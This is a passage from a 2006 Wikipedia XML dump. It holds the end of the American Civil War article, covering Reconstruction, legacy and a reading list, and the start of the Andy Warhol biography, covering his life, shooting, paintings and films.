In 1867 Radicals in Congress pushed aside President Johnson and imposed new rules. Freedmen gained the right to vote and formed Republican political coalitions that took control of each state for varying periods. One by one the white conservatives or &quot;[[Redeemers]]&quot; gained back control of their states, often through lethal force. The final three were redeemed by the [[Compromise of 1877]]. After that the hatreds between North and South rapidly diminished until by 1900 the nation was no longer divided by the war, though it did remain divided by race.

Ghosts of the conflict still persist in America. For decades after the war, Northern politicians &quot;waved the bloody shirt,&quot; bringing up memories of the Civil War as an electoral tactic, while the &quot;solid South&quot; as a block in national politics was built on memories of the war and a determination to maintain segregation.  The [[Civil Rights Movement]] of the 1960s had its [[neoabolitionist]] roots in the failure of Reconstruction. A few debates surrounding the legacy of the war continue, especially regarding memorials and celebrations of Confederate heroes and [[Flags of the Confederate States of America#Controversy|battle flags]]. The question is a deep and troubling one: Americans with Confederate ancestors cherish the memory of their bravery and determination, yet their cause remains one ultimately tied to the shameful history of African American slavery.

==Further reading==
===Overviews===
* Beringer, Richard E., Archer Jones, and Herman Hattaway, ''Why the South Lost the Civil War'' (1986) analysis of factors
* [[Bruce Catton|Catton, Bruce]], ''The Civil War'', American Heritage, 1960, ISBN 0-8281-0305-4, illustrated narrative
* Donald, David ed. ''Why the North Won the Civil War'' (1977) (ISBN: 0020316607), short interpretive essays 
* Donald, David et al. ''The Civil War and Reconstruction'' (latest edition 2001); 700 page survey
* Eicher, David J., ''The Longest Night: A Military History of the Civil War'', Simon &amp; Schuster, 2001, ISBN 0-684-84944-5.
* Fellman, Michael et al. ''This Terible War: The Civil War and its Aftermath'' (2003), 400 page survey
* Esposito, Vincent J. [http://www.dean.usma.edu/history/web03/atlases/american%20civil%20war/american%20civil%20war%20index.htm ''West Point Atlas of American Wars'' (1959)], these maps are online
* [[Shelby Foote | Foote, Shelby]]. ''[[The Civil War: A Narrative]]'' (3 volumes), Random House, 1974, ISBN 0-394-74913-8. Highly detailed narrative covering all fronts
* [[James M. McPherson | McPherson, James M.]] ''Battle Cry of Freedom: The Civil War Era'' (1988), survey; Pulitzer prize
*  Mark E. Neely Jr.; &quot;Was the Civil War a Total War?&quot; ''Civil War History'', Vol. 50, 2004 pp 434+  in JSTOR
* [[Allan Nevins | Nevins, Allan]]. ''[[Ordeal of the Union]]'', an 8-volume set (1947-1971). the most detailed narrative 
** 1. Fruits of Manifest Destiny, 1847-1852; 2. A House Dividing, 1852-1857; 3. Douglas, Buchanan, and Party Chaos, 1857-1859; 4. Prologue to Civil War, 1859-1861; 5. The Improvised War, 1861-1862; 6. War Becomes Revolution, 1862-1863; 7. The Organized War, 1863-1864; 8. The Organized War to Victory, 1864-1865
* Rhodes, James Ford. [http://www.bartleby.com/252/ ''History of the Civil War, 1861-1865 (1918)], Pulitzer Prize; a short version of his 5-volume history
* Ward, Geoffrey C. ''The Civil War'' (Alfred Knopf, 1990), based on PBS series by [[Ken Burns]]; visual emphasis
* Weigley, Russell Frank. ''A Great Civil War: A Military and Political History, 1861-1865'' (2004); primarily military

===Reference books and bibliographies===
* Blair, Jayne E. ''The Essential Civil War: A Handbook to the Battles, Armies, Navies And Commanders'' (2006)
* Carter, Alice E. and Richard Jensen. ''The Civil War on the Web: A Guide to the Very Best Sites-'' 2nd ed. (2003) 
* Current, Richard N.,  et al eds. ''Encyclopedia of the Confederacy'' (1993) (4 Volume set; also 1 vol abridged version) (ISBN: 0132759918) 
* Faust, Patricia L. (ed.) ''Historical Times Illustrated Encyclopedia of the Civil War'' (1986) (ISBN: 0061812617) 2000 short entries
* Eicher, David J., ''The Civil War in Books: An Analytical Bibliography'', University of Illinois, 1997, ISBN 0-252-02273-4
* Heidler, David Stephen. ''Encyclopedia of the American Civil War: A Political, Social, and Military History'' (2002), 1600 entries in 2700 pages in 5 vol or 1-vol editions
* Wagner, Margaret E. Gary W. Gallagher, and Paul Finkelman, eds. ''The Library of Congress Civil War Desk Reference'' (2002)
* Woodworth, Steven E. ed. ''American Civil War: A Handbook of Literature and Research'' (1996) (ISBN: 0313290199), 750 pages of historiography and bibliography

===Biographies===
* Eicher, John H., &amp; Eicher, David J., ''Civil War High Commands'', Stanford University Press, 2001, ISBN 0-8047-3641-3
* [[Douglas S. Freeman|Freeman, Douglas S.]], [http://penelope.uchicago.edu/Thayer/E/Gazetteer/People/Robert_E_Lee/FREREL/home.html ''R. E. Lee, A Biography''] (4 volumes), Scribners, 1934
* Freeman, Douglas S., ''Lee's Lieutenants: A Study in Command'' (3 volumes), Scribners, 1946, ISBN 0-684-85979-3
* [[Jean Edward Smith | Smith, Jean Edward]], ''Grant'', Simon and Shuster, 2001, ISBN 0-684-84927-5
* Warner, Ezra J., ''Generals in Blue: Lives of the Union Commanders'', Louisiana State University Press, 1964, ISBN 0-8071-0882-7
* Warner, Ezra J., ''Generals in Gray: Lives of the Confederate Commanders'', Louisiana State University Press, 1959, ISBN 0-8071-0823-5

===Soldiers===
* Frank, Joseph Allan  and George A. Reaves. ''Seeing the Elephant: Raw Recruits at the Battle of Shiloh'' (1989)
* Hess, Earl J. ''The Union Soldier in Battle: Enduring the Ordeal of Combat'' (1997)
* McPherson,  James. ''What They Fought For, 1861-1865'' (Louisiana State University Press, 1994)
* McPherson,  James.  ''For Cause and Comrades: Why Men Fought in the Civil War '' (1998)
* Wiley, Bell Irvin. ''The Life of Johnny Reb: The Common Soldier of the Confederacy'' (1962) (ISBN: 0807104752) 
* Wiley, Bell Irvin. ''Life of Billy Yank: The Common Soldier of the Union'' (1952) (ISBN: 0807104760)

===Primary sources===
* U.S. War Dept., [http://cdl.library.cornell.edu/moa/browse.monographs/waro.html ''The War of the Rebellion: a Compilation of the Official Records of the Union and Confederate Armies''], U.S. Government Printing Office, 1880&amp;ndash;1901. 70 very large volumes of letters and reports written by both armies.  Online at [http://cdl.library.cornell.edu/moa/browse.monographs/waro.html]
*Bedwell, Randall, ''War is All Hell: A Collection of Civil War Quotations'', Cumberland House Publishing, 1999, ISBN 1-58182-419-X
* Commager, Henry Steele (ed.). ''The Blue and the Gray. The Story of the Civil War as Told by Participants.'' (1950), often reprinted
* Eisenschiml, Otto;  Ralph Newman; eds. ''The American Iliad: The Epic Story of the Civil War as Narrated by Eyewitnesses and  Contemporaries'' (1947) 
* Hesseltine, William B. ed.;  ''The Tragic Conflict: The Civil War and Reconstruction'' (1962)
*Woodword, C. Vann, Ed., ''Mary Chesnut's Civil War'', Yale University Press, 1981, ISBN 0-300-02979-9 Pulitzer Prize

===Novels about the war===
*[[Stephen Crane|Crane, Stephen]], ''[[The Red Badge of Courage]]''
*[[E.L. Doctorow|Doctorow, E.L.]], ''[[The March]]'' 
*[[Charles Frazier|Frazier, Charles]], ''[[Cold Mountain]]''
*[[Margaret Mitchell|Mitchell, Margaret]], ''[[Gone with the Wind]]''
*[[Ishmael Reed|Reed, Ishmael]], ''Flight to Canada''
*[[Jeffrey Shaara|Shaara, Jeffrey]], ''[[Gods and Generals]]''
*[[Jeffrey Shaara|Shaara, Jeffrey]], ''[[The Last Full Measure]]''
*[[Michael Shaara|Shaara, Michael]], ''[[The Killer Angels]]''
*[[James Street|Street, James]], ''By Valour and Arms''
*[[Jules Verne|Verne, Jules]], ''[[Texar's Revenge, or, North Against South]]'' (''Nord Contre Sud'')
*[[Gore Vidal|Vidal, Gore]], ''Lincoln''

===Films about the war===
*''[[The Birth of a Nation]]'' ([[1915]])
*''[[Gone With the Wind]]'' ([[1939]])
*''[[The Good, the Bad and the Ugly]]'' ([[1966]])
*''[[The Blue and the Gray]]''([[1982]])
*''[[Glory (film)|Glory]]'' ([[1989]])
*''[[Gettysburg (movie)|Gettysburg]]'' ([[1993]])
*''[[Gods and Generals]]'' ([[2003]])
*''[[Cold Mountain]]'' ([[2003]])

===Documentaries about the war===
*''[[The Civil War (documentary)|The Civil War]]'', directed by [[Ken Burns]]

==See also==
*[[African Americans in the Civil War]]
*[[California and the Civil War]]
*[[Canada and the American Civil War]]
*[[Casualties of the American Civil War]]
*[[Illinois in the Civil War]]
*[[Military history of the Confederate States]]
*[[Military history of the United States]]
*[[National Civil War Museum]]
*[[Naming the American Civil War]]
*[[List of American Civil War topics]]
*[[List of people associated with the American Civil War]]
*[[Official Records of the American Civil War]]
*[[Origins of the American Civil War]]
*[[Photography and photographers of the American Civil War]]
*[[Rail transport in the American Civil War]]
*[[U.S. Congress Joint Committee on the Conduct of the War]]
*[[Union Army Balloon Corps]]
*[[Union blockade]]

==External links==
{{commonscat|American Civil War}}
*[http://sunsite.utk.edu/civil-war/ The American Civil War Homepage]
*[http://www.archives.gov/research_room/research_topics/civil_war/civil_war_photos.html Civil War photos] at the [[National Archives and Records Administration | National Archives]]
* [http://www.virginia.org/site/features.asp?FeatureID=198 Civil War in Virginia]
*Civil War Research &amp; Discussion Group - [http://groups.yahoo.com/group/FieldsOfConflict/  Fields Of Conflict] - Containing 1500+ Links And 400+ Articles.
*[http://www.civilwar-pictures.com Civil War Pictures Database]
*[http://www.cr.nps.gov/history/books-title.htm Online texts of Civil War books] at the [[National Park Service]]
*[http://www.brucegourley.com/civilwar/gourleyhistor1.htm Religion and the American Civil War]
*[http://sunsite.utk.edu/civil-war/generals.html University of Tennessee: U.S. Civil War Generals]
*[http://www.civilwarhome.com Shotgun's Home of the American Civil War]
*[http://www.us-civilwar.com American Civil War]
*[http://www.thelatinlibrary.com/chron/civilwar.html American Civil War Detailed Chronology]
*[http://www.pbs.org/civilwar ''The Civil War''], a [[Public Broadcasting Service|PBS]] documentary by [[Ken Burns]]
* Individual state's contributions to the Civil War: [http://www.militarymuseum.org/HistoryCW.html California], [http://www.floridamemory.com/OnlineClassroom/FloridaCivilWar/index.cfm Florida], [http://www.illinoiscivilwar.org/ Illinois #1], [http://www.rootsweb.com/~ilcivilw/ Illinois #2], [http://www.ohiocivilwar.com/ Ohio], [http://www.pacivilwar.com/ Pennsylvania]
*State declarations of the causes of secession: [http://www.civilwar.com/decms.htm Mississippi], [http://www.civilwar.com/decga.htm Georgia], [http://www.civilwar.com/dectx.htm Texas], [http://www.civilwar.com/decsc.htm South Carolina]
*[http://members.aol.com/jfepperson/ordnces.html Ordinances of Secession for all CSA states]
*[http://teachingamericanhistory.org/library/index.asp?documentprint=76 Alexander Hamilton Stephens' Cornerstone Speech]
* [http://www.civilwartrails.org/ Civil War Trails] &amp;mdash; A project to map out sites related to the Civil War in Maryland, Virginia, and North Carolina
*[http://www.learnoutloud.com/Content/Topic-Pages/Experience-the-Civil-War-with-Your-Ears/21 Civil War Audio Resources]
*[http://www.hoardmuseum.org/ Hoard Historical Museum] in [[Fort Atkinson, Wisconsin]]
*[http://www.tsha.utexas.edu/handbook/online/articles/CC/qdc2.html ''The Handbook of Texas Online:'' Civil War]
*[http://www.brotherswar.com The Brothers War]
*[http://digital.library.wisc.edu/1711.dl/MillsSpColl.BandBooks  Civil War Band Collection: 1st Brigade Band of Brodhead, Wisconsin] A digital collection of first person narrative accounts from Wisconsin soldiers and citizens, documenting their wartime experiences.
*[http://digital.library.wisc.edu/1711.dl/WI.WIWar  Wisconsin Goes to War: Our Civil War Experience]
*[http://www.worldbook.com/wc/popup?path=features/civilwar&amp;page=html/index.html&amp;direct=yes &quot;A Divided Nation&quot;]. One of ''World Book Encyclopedia'''s monthly features, this one on the American Civil War.

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[[Category:Civil wars]]
[[Category:Emergency laws]]
[[Category:Rebellions in the United States]]
[[Category:Wars of the United States]]

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  </page>
  <page>
    <title>Andy Warhol</title>
    <id>864</id>
    <revision>
      <id>42140817</id>
      <timestamp>2006-03-04T02:16:50Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/220.239.31.24|220.239.31.24]] ([[User talk:220.239.31.24|talk]]) to last version by Sylvea</comment>
      <text xml:space="preserve">[[Image:Helmut Newton- Andy Warhol.jpg|thumb|250PX|Andy Warhol, photographed by [[Helmut  Newton]].]]
'''Andy Warhol''' ([[August 6]], [[1928]] – [[February 22]], [[1987]]) was an [[United States|American]] painter, filmmaker, publisher, actor, and a major figure in the [[Pop Art]] movement.

== Biography ==
Warhol was born as '''Andrew Warhola''' in [[Forest City, Pennsylvania]]. His parents, Ondrej (Andrew) Warhola and Julia Zavacky, were working class immigrants of [[Rusyns|Ruthenian ethnicity]] from [[Mikova]], in northeast [[Slovakia]]; his father worked in the coal mines of [[Pennsylvania]]. The family was [[Roman Catholic Church|Catholic]] but Warhol's mother had a [[Jewish]] grandmother.[http://www.amazon.com/gp/product/0815410085/qid=1141095641/sr=1-33/ref=sr_1_33/104-6359540-7548710?s=books&amp;v=glance&amp;n=283155]

Warhol showed early artistic talent and studied [[commercial art]] at [[Carnegie Mellon University]] in [[Pittsburgh]]. In 1949 he moved to [[New York City]] and began a successful career in [[magazine]] illustration and [[advertising]]. He became well-known mainly for his whimsical ink drawings of shoes done in a loose, blotted style.

In the 1960s, Warhol began to make paintings of famous American products such as [[Campbell Soup Company|Campbell's soup]] cans and [[Coca-Cola]]. He switched to [[silkscreen]] prints, seeking not only to make art of mass produced items, but to mass produce the art itself. He said that he wanted to be like a robot. He hired and supervised &quot;art workers&quot; engaged in making prints, shoes, films, books and other items at his studio, ''[[The Factory]]'', located on [[Union Square (New York City)|Union Square]] in New York City. Warhol's body of work furthermore includes commissioned portraits and commercials.

A lot of Warhol's works revolve around the concept of [[Americana]] and American culture. He painted money, dollar signs, food, groceries, women's shoes, celebrities, and newspaper clippings. To him, these subjects represented American cultural values. For instance, Coca-Cola represents democratic equality because

:&quot;What’s great about this country is that America started the tradition where the richest consumers buy essentially the same things as the poorest. You can be watching TV and see Coca-Cola, and you know that the President drinks Coke, Liz Taylor drinks Coke, and just think, you can drink Coke, too. A Coke is a Coke and no amount of money can get you a better Coke than the one the bum on the corner is drinking. All the Cokes are the same and all the Cokes are good. Liz Taylor knows it, the President knows it, the bum knows it, and you know it.&quot; 

He used popular imagery and methods to visualize the American cultural identity of the 20th century.  This popular redefinition of American culture is a theme and result of Warhol's art. Because American culture has had great international influence, Warhol did as well.

Outside of the art world, Andy Warhol is best known for saying that &quot;In the future, everyone will be world famous for [[15 minutes of fame|15 minutes]].&quot;  He later told reporters, humorously, &quot;My new line is, 'In fifteen minutes everybody will be famous.'&quot;

=== Socialite and Recluse ===
Warhol used to socialize at [[Serendipity (nightclub)|Serendipity]] and [[Studio 54]], nightclubs in New York City. Warhol was generally regarded as quiet, shy, and as a meticulous observer. More than one person jokingly referred to him as &quot;death warmed over.&quot; 

Warhol was openly gay, rare for celebrities of his stature at the time. Many people think of Warhol as [[asexual]] and as merely a [[voyeur]], but these notions have been debunked by biographers (like [[Fred Guiles]]), scholars (e.g. [[Richard Meyer]]), personal accounts of relationships by ex-lovers such as Jed Johnson and Billy Name, and by the overtly campy and homoerotic nature of his work itself. Throughout his career, Warhol produced erotic photography and drawings of male nudes. Many of his most famous works (portraits of [[Liza Minelli]], [[Judy Garland]], [[Elizabeth Taylor]], and films like &quot;My Hustler&quot;, &quot;[[Blow Job (film)|Blow Job]]&quot;, and &quot;Lonesome Cowboys&quot;) draw from gay underground culture and/or openly explore the complexity of sexuality and desire.  In fact, many of his films premiered in gay porn theaters.  The first works that he submitted to a gallery in the pursuit of a career as an artist were, in fact, homoerotic drawings of male nudes. They were rejected for being too openly gay.

A meticulous collector, he organized almost every piece of paper, fan mail&amp;mdash;after taking off the stamps&amp;mdash;and magazine related to his fame along with personal notes, gay pornography and found artifacts into hundreds of numbered boxes and set them aside, never to open them again. Warhol referred to these boxes as his &quot;time capsule&quot;. Many exist today and are available for research at his Pittsburgh [[Carnegie Museums of Pittsburgh|museum]].  Warhol's house was filled to the brim with his collected art, artifacts, and Americana.

Many of his later commissioned portraits were a direct or indirect result of this networking. As a famous artist, Warhol and his Factory attracted and facilitated many &quot;groupies&quot; and friends that Warhol would include in films and happenings. Warhol promoted these [[the factory|factory]] regulars to fame, creating the [[Warhol superstars]]. They would appear in and help him make his work, play in his movies, write his books, hang out and generally become his following. 

When Warhol was asked to give a series of university lectures that he didn't feel like doing, one of his friends put on a wig and white make-up, and pretended to be him by sitting quietly on the stage. Other Superstars explained Warhol's work to the audience, and urged them to drop out of college. The University eventually found out Warhol's &quot;fraud&quot; and the following dispute had to be settled with a refund.

Warhol would regularly volunteer at the homeless shelters in New York, particularly during the busier times of the year. He described himself as a religious person, although not fully accepted by religion because of his homosexuality. Many of his later works contain almost hidden religious themes or subjects, and a body of religious-themed works was found posthumously in his estate.

=== Shooting ===
On [[June 3]], [[1968]], [[Valerie Solanas]], a [[The Factory|Factory]] regular, entered Warhol's studio and fired three shots at Warhol, nearly killing him. Although the first two rounds missed, the third passed through Warhol's left [[lung]], [[spleen]], [[stomach]], [[liver]], [[esophagus]], and right lung. Solanas then turned the gun on a companion of Warhol, Mario Amaya, injuring his thigh. Warhol survived his injuries, but he never fully recovered. Earlier, Solanas had given a script to Warhol, in hopes that he would make a film out of it. Warhol never did.  Apparently, she had visited the Factory earlier in the day to ask that they give the script back to her.  It had, however, been lost.  She later explained that she had attacked Warhol because, &quot;he had too much control over [her] life.&quot; The story of Valerie Solanas was made into the 1996 film ''[[I Shot Andy Warhol]]'', starring [[Lili Taylor]] and directed by [[Mary Harron]].

In the hospital, his doctors had already declared him deceased, after which he was resuscitated. Warhol later joked that he was now invulnerable, since he had gone through death and came out alive. The shooting and Warhol's &quot;death&quot; received wide media coverage.

One of Warhol's associates, [[Paul Morrissey]], later satirized the event in his movie [[&quot;Women In Revolt&quot;]], calling a group similar to Solanas' [[S.C.U.M.]] ('''Society for Cutting Up Men'''), ''P.I.G.'' ('''Politically Involved Girls''').

In [[1990 in music|1990]] [[Lou Reed]] recorded the album ''[[Songs for Drella]]'' (one of Warhol's nicknames was Drella, a combination of Dracula and Cinderella) with fellow [[The Velvet Underground|Velvet Underground]] alumnus [[John Cale]].

Warhol had adopted Reed's band the Velvet Underground as one of his projects in the 1960s, &quot;producing&quot; their first album [[The Velvet Underground and Nico]] as well as providing the album art, widely regarded as some of the greatest album art of all time. The album itself is also regarded as one of the greatest (and most influential) albums in rock history. After the band became successful Warhol and band leader Reed started to disagree more and more about the direction the band should take, and the contact between them faded. On the album, Reed apologizes and comes to terms with his part in their conflict.

=== Death ===
Warhol died in New York City following routine gallbladder surgery at the age of 58. Warhol was afraid of hospitals and doctors, so he had delayed having his recurring gall bladder problems checked.

He is interred at St. John the Baptist Catholic Cemetery in Bethel Park, south of Pittsburgh. Fellow artist [[Yoko Ono]] was among the speakers at his funeral.

Andy Warhol had so many posessions it took [[Sotheby's]] 9 days to auction his estate after his death for a total gross amount of over 20,000,000 (USD).

== Work ==
=== Paintings ===
When he decided to pursue a career as an artist, Warhol had already established a reputation as a commercial illustrator. In school he had made paintings, but his work afterwards had mainly consisted of &quot;blotted ink&quot; illustrations for warehouses and magazines. He felt that he was not being taken seriously as an illustrator, and wanted to become a &quot;real&quot; artist.

When he started painting, he looked to find a niche for himself. At that time Pop Art - as it was later to be called - was already experimented with by several artists turning away from abstract expressionism, and Warhol turned to this new way of making art, where popular subjects could be part of the artist's vocabulary. His early paintings show images taken from cartoons and advertisements, in a hand-painted style, with paint drips. He added these drips to give his paintings a &quot;serious&quot; feel, to emulate a bit of the style of the abstract expressionists, that were en vogue at the time, in other words to be taken seriously or to sell his paintings, which may have had the same meaning to Warhol.

To Warhol, part of defining a niche was defining his subject matter. Cartoons were already being &quot;done&quot; by [[Roy Liechtenstein]], typography by [[Jasper Johns]], et-cetera; Warhol wanted a distinguishing subject. His friends suggested that he should paint the things he loved the most. In his signature way of taking things literally, for his first major exhibition he painted his famous cans of Campbell's Soup, that he had for lunch most of his life. Warhol loved money, so he later painted money. He loved celebrities, so he painted them as well.

From these beginnings he developed his later style and themes. Instead of working on a signature subject matter, as he started out to do, he worked more and more on a signature style, slowly eliminating the hand-made from the artistic process. Warhol went from painting to silk-screening, his later drawings were traced from slide projections. In other words, Warhol went from being a painter to being a designer of paintings. At the height of his fame as a painter, Warhol had several assistants who produced his silk-screen multiples, in different versions and variations after his directions.

It has been suggested by many that Warhol would just take images of things that were hip in his time and cover them in &quot;Warhol gravy&quot;, but for Warhol there was always a personal relation between him and his subjects. For instance the Campbell's Soup did not (only) function as an illustration of commercial industry and advertisement, it was an intrinsical part of Warhol's life and memories. As a child his mother had given him this soup when he was sick, and Warhol loved it very much as a grown up. For him (and many other Americans) the soup represented a feeling of being &quot;home&quot;.

Another criterion that is important in the way Warhol chose his subjects is that the subjects should also represent a more philosophical notion, should have a metaphorical quality. When Warhol paints money, he paints it because he wants to own it - canvases filled with money. Partly, his work was meant to provide him with this money (and success and fame and maybe even love). At the same time these paintings speak of art as a commercial commodity: the paintings of dollar bills represent monetary value as well, as investments. In this way, instead of merely depicting dollar bills, these paintings touch on notions like (artistic) value, or may be perceived as a comment on art practice.

Similarly, when Warhol paints photographs of disasters in bright colors (&quot;Red Car Crash&quot;, &quot;Purple Jumping Man&quot;, &quot;Orange Disaster&quot;) they point at the horror of the event in the picture, and its media value, but also at the way in which these images are trivialized by the media. By turning these &quot;random&quot; clippings into paintings, Warhol turns them into monuments for personal tragedies. As such they represent a personal experience as well as a social comment as well as an illustration of a time when the media grew to be more and more important.

On a personal level a lot of Warhol's work is motivational in nature, and speaks of notions like democracy, being able to change things, optimistic materialism, being heard. But Warhol wasn't naively optimistic about these things, his work also deals with loss, death, loneliness and the such.
Warhol knew how to juggle many levels of meaning and interpretation, and to combine these in seemingly simple, sometimes even dumb-looking works of art. In general his work has a very high &quot;Duh!&quot; level.
Although a bit of a generalization, it may be accurate to say that Warhol depicted highly his very personal approach to subjects that everyone knows, in a way that these subjects become symbolic.

Warhol's work became more and more conceptual and more reflective of art itself. His series of Do-It-Yourself-Paintings and Rorschach-blots are intended as pop-comments on art and what art could be. His Cow Wallpaper (literally wallpaper with a cow motif) and his Oxidation Paintings (canvases prepared with copper paint that show oxidated urine stains) are also noteworthy in this context. Warhol later did a series of his old works in negative, as a comment on his own position as an artist.

In the beginning of his career Warhol worked on a growing oeuvre of American forms and values, newspaper clippings, disasters, money, commercial products, Coca-Cola bottles, postal stamps, movie stars, criminals, shoes, clothes, etc. defining a position, researching and making statements. As recognition -- and the value of his work -- grew, he went back to his roots as a commercial illustrator, and starts to take commissions, most noticeably for portraits. These are sometimes viewed as Warhol's sell-out (the revolutionary painter that became a jester), but it can also be argued that his self-supporting way of working fit his world-views. At any rate, his body of portraits -- that include many celebrities, athletes, movie stars, politicians, dictators, royalty, his mother, transvestites -- have became a document of an era. Having the money or the relations to be portrayed by Warhol meant that you might be able to enter into immortality. Warhol's commercial effort also include advertisements for Chanel, Apple and more.

There are three more periods that are noteworthy in Warhol's oeuvre as a painter.
His self-portraits, of which he made many, with his silver wig, painted over with camouflage print may represent Warhol studying his own identity. Warhol has spoken about himself and was spoken about as being empty, hollow, a reflection or a mirror. The second series is his paintings of shadows. These may represent Warhol's study of the abstract. Again there is a relation with Warhol personally, as he has also depicted himself as &quot;The Shadow,&quot; the character from the radio show. Thirdly, Warhol produced many &quot;portfolios,&quot; series of small paintings meant for commercial sale. These series would be grouped around a theme; for instance, &quot;famous Jews&quot;, &quot;cars&quot;, or &quot;animals&quot;.

At one point Warhol publicly declared that he had stopped being a painter, and that he would only make films from then on; but at the end of his life, Warhol took up painting again. His last paintings and drawings are of da Vinci's ''[[Last Supper]]'', which he was working on when he died.

=== Films ===
Warhol worked across a wide range of mediums - painting, photography, drawing, and sculpture.  He was also a highly prolific filmmaker. Between 1963 and 1968, he made more than sixty films. One of his most famous films, ''[[Sleep (film)|Sleep]]'' (1963), shows a man ([[John Giorno]], who had a relationship with Warhol) sleeping for eight hours. In the 35 minute film ''[[Blow Job (film)|Blow Job]]'' (1963), he shows the face of [[David Pelman]] receiving [[fellatio]]. Another, [[Empire (1964 film)|''Empire'']] (1964), consists of eight hours of footage of the [[Empire State Building]] in New York City at dusk. Warhol's 1965 film ''[[Vinyl (1965 film)|''Vinyl'']]'' is an adaptation of [[Anthony Burgess]]' popular [[Dystopia|dystopian]] novel ''[[A Clockwork Orange]]''. Others record improvised encounters between Factory regulars such as Brigid Berlin, [[Viva]], [[Edie Sedgwick]], [[Candy Darling]], [[Holly Woodlawn]], Ondine, [[Nico]], and [[Jackie Curtis]]. Legendary underground artist [[Jack Smith (actor)|Jack Smith]] appears in the film ''Camp''.

His most popular and critically successful film was ''[[Chelsea Girls]]'' (1966). The film was highly innovative in that it consisted of two 16-mm films being projected simultaneously, with two different stories being shown in tandem. From the projection booth, the sound would be raised for one film to elucidate that &quot;story&quot; while it was lowered for the other. Then it would be the other film's turn to bask in the glory of sound. The multiplication of images evoked Warhol's seminal silk-screen works of the early 1960s. The film's influence could be felt as late as 2000 in [[Mike Figgis]]' ''[[Timecode (film)|Timecode]]''. 

Other important films include ''[[My Hustler (1965 film)|My Hustler]]'', ''[[Midnight Cowboy (1969 film)|Midnight Cowboy]]'', and  ''[[Lonesome Cowboys (1968 film)|Lonesome Cowboys]]'' (1968), a raunchy pseudo-western. ''[[Blue Movie]]'', a film in which Warhol superstar [[Viva (Warhol Superstar)|Viva]] makes love and fools around in bed with a man for 33 minutes of the film's playing-time, was Warhol's last film as director.  The film was at the time scandalous for its frank approach to a sexual encounter.  For many years Viva refused to allow it to be screened.  It was publicly screened in New York in 2005 for the first time in over thirty years.

After his [[June 3]], [[1968]] shooting, a reclusive Warhol relinquished his personal involvement in filmmaking. His acolyte and assistant director, [[Paul Morrissey]], took over the film-making chores for the [[The Factory|Factory]] collective, steering Warhol-branded cinema towards more mainstream, narrative-based, B-movie exploitation fare with ''[[Flesh (film)|Flesh]]'', ''[[Trash (film)|Trash]]'', and  ''[[Heat (film)|Heat]]''. All of these films, including the later ''[[Blood for Dracula|Andy Warhol's Dracula]]'' and ''[[Flesh for Frankenstein|Andy Warhol's Frankenstein]]'', were far more mainstream than anything Warhol as a director had attempted. These latter &quot;Warhol&quot; films, all of which frankly were made to make money, starred [[Joe Dallesandro]], who was more of a Morrissey star than a true Warhol superstar. 

In order to facilitate the success of these Warhol-branded, Morrissey-directed movies in the marketplace, all of Warhol's earlier avant-garde films were removed from distribution and exhibition by [[1972]].  

The first volume of a catalogue raisoné for the Factory film archive is to be published in the spring of 2006.

As an actor, Warhol appeared as a bartender in [[The Cars]]' [[music video]] for their [[single (music)|single]] &quot;Hello Again&quot;, and [[Curiosity Killed The Cat]]'s video for their &quot;Misfit&quot; single (both videos, and others, were produced by Warhol's video production company).   He also appeared in an episode of [[The Love Boat]].

Warhol's character has also been represented in several motion pictures. He has been portrayed by [[Crispin Glover]], [[David Bowie]], and [[Jared Harris]], in ''[[The Doors (film)|The Doors]]'', ''[[Basquiat]]'', and ''[[I Shot Andy Warhol]],'' respectively.

=== Filmography ===
&lt;!-- These have been reorganised chronologically from oldest to most recent --&gt;
* ''[[Blow Job (film)|Blow Job]]'' (1963)
* ''[[Eat (film)|Eat]]'' (1963)
* ''[[Haircut (film)|Haircut]]'' (1963)
* ''[[Kiss (film, 1963)|Kiss]]'' (1963)
* ''[[Naomi's Birthday Party]]'' (1963)
* ''[[Sleep (film)|Sleep]]'' (1963)
* ''[[13 Most Beautiful Women]]'' (1964)
* ''[[Batman Dracula]]'' (1964)
* ''[[Clockwork (film)|Clockwork]]'' (1964)
* ''[[Couch (film, 1964)|Couch]]'' (1964)
* ''[[Drunk (film)|Drunk]]'' (1964)
* ''[[Empire (1964 film)|Empire]]'' (1964)
* ''[[The End of Dawn]]'' (1964)
* ''[[Lips (film)|Lips]]'' (1964)
* ''[[Mario Banana I]]'' (1964)
* ''[[Mario Banana II]]'' (1964)
* ''[[Messy Lives]]'' (1964)
* ''[[Naomi and Rufus Kiss]]'' (1964)
* ''[[Tarzan and Jane Regained... Sort of]]'' (1964)
* ''[[The Thirteen Most Beautiful Boys]]'' (1964)
* ''[[Beauty No. 2|Beauty #2]]'' (1965)
* ''[[Bitch (film)|Bitch]]'' (1965)
* ''[[Camp (1965 film)|Camp]]'' (1965)
* ''[[Harlot (film)|Harlot]]'' (1965)
* ''[[Horse (film)|Horse]]'' (1965)
* ''[[Kitchen (film)|Kitchen]]'' (1965)
* ''[[The Life of Juanita Castro]]'' (1965)
* ''[[My Hustler]]'' (1965)
* ''[[Poor Little Rich Girl]]'' (1965)
* ''[[Restaurant (film)|Restaurant]]'' (1965)
* ''[[Space (film)|Space]]'' (1965)
* ''[[Taylor Mead's Ass]]'' (1965)
* ''[[Vinyl (1965 film)|''Vinyl'']]'' (1965)
* ''[[Screen Test (film)|Screen Test]]'' (1965)
* ''[[Screen Test No. 2|Screen Test #2]]'' (1965)
* ''[[Ari and Mario]]'' (1966)
* ''[[Hedy]]'' (1966)
* ''[[Kiss the Boot]]'' (1966)
* ''[[Milk (film)|Milk]]'' (1966)
* ''[[Salvador Dalí (film)|Salvador Dalí]]'' (1966)
* ''[[Shower (film)|Shower]]'' (1966)
* ''[[Sunset (film)|Sunset]]'' (1966)
* ''[[Superboy (film)|Superboy]]'' (1966)
* ''[[The Closet (1966 film)|The Closet]]'' (1966)
* ''[[Chelsea Girls]]'' (1966)
* ''[[The Beard]]'' (1966)
* ''[[More Milk, Yvette]]'' (1966)
* ''[[Outer and Inner Space]]'' (1966)
* ''[[The Velvet Underground and Nico (film)|The Velvet Underground and Nico]]'' (1966)
* ''[[The Andy Warhol Story]]'' (1967)
* ''[[Tiger Morse]]'' (1967)
* ''[[**** (film)|****]]'' (1967)
* ''[[Imitation of Christ (film)|The Imitation of Christ]]'' (1967)
* ''[[The Nude Restaurant]]'' (1967)
* ''[[Bike Boy]]'' (1967)
* ''[[I, a Man]]'' (1967)
* ''[[San Diego Surf]]'' (1968)
* ''[[The Loves of Ondine]]'' (1968)
